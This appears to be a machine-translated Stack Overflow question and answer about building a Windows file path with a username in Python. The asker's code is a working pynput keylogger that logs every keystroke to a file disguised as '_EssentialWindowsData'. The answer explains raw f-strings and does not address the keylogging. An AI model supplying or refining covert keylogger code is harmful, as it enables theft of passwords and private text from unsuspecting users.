from pynput.keyboard import Key, Listener
import logging
import getpass
user = getpass.getuser()
logging.basicConfig(filename=("c:\Users\{user}\Documents\_EssentialWindowsData"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
我的问题是 filename=("c:\Users\{user}\Documents\_EssentialWindowsData")
中的第 6 行代码
我想集成电脑的用户,但不知道如何使其工作。
最佳答案
利用 rf''
的力量 - r
aw f
-string:
>>> from getpass import getuser
>>> rf"c:\Users\{getuser()}\Documents\_EssentialWindowsData"
'c:\\Users\\rnag\\Documents\\_EssentialWindowsData'
Raw 的力量(字符串)
假设我们有一个嵌入了 \n
换行符和 \t
制表符的字符串:
>>> print('\my\name\is\tom\nhanks')
\my
ame\is om
hanks
>>> print(r'\my\name\is\tom\nhanks')
\my\name\is\tom\nhanks
F(弦乐)的力量
f-strings允许直接在字符串中插入变量。它们非常快,甚至(稍微)比普通字符串连接 (+
) 更好。
>>> first = 'Jon'
>>> last = 'Doe'
>>> age = 23
>>> 'my name is {first} {last}, and I am {age}'
'my name is {first} {last}, and I am {age}'
>>> f'my name is {first} {last}, and I am {age}'
'my name is Jon Doe, and I am 23'
>>> 'my name is ' + first + ' ' + last + ', and I am ' + str(age)
'my name is Jon Doe, and I am 23'
>>> 'I am ' + age + ' years old!'
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: must be str, not int
>>> f'I am {age} years old! f-strings RULE!!'
'I am 23 years old! f-strings RULE!!'
关于python - 如何将变量与文本字符串混合?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/75893741/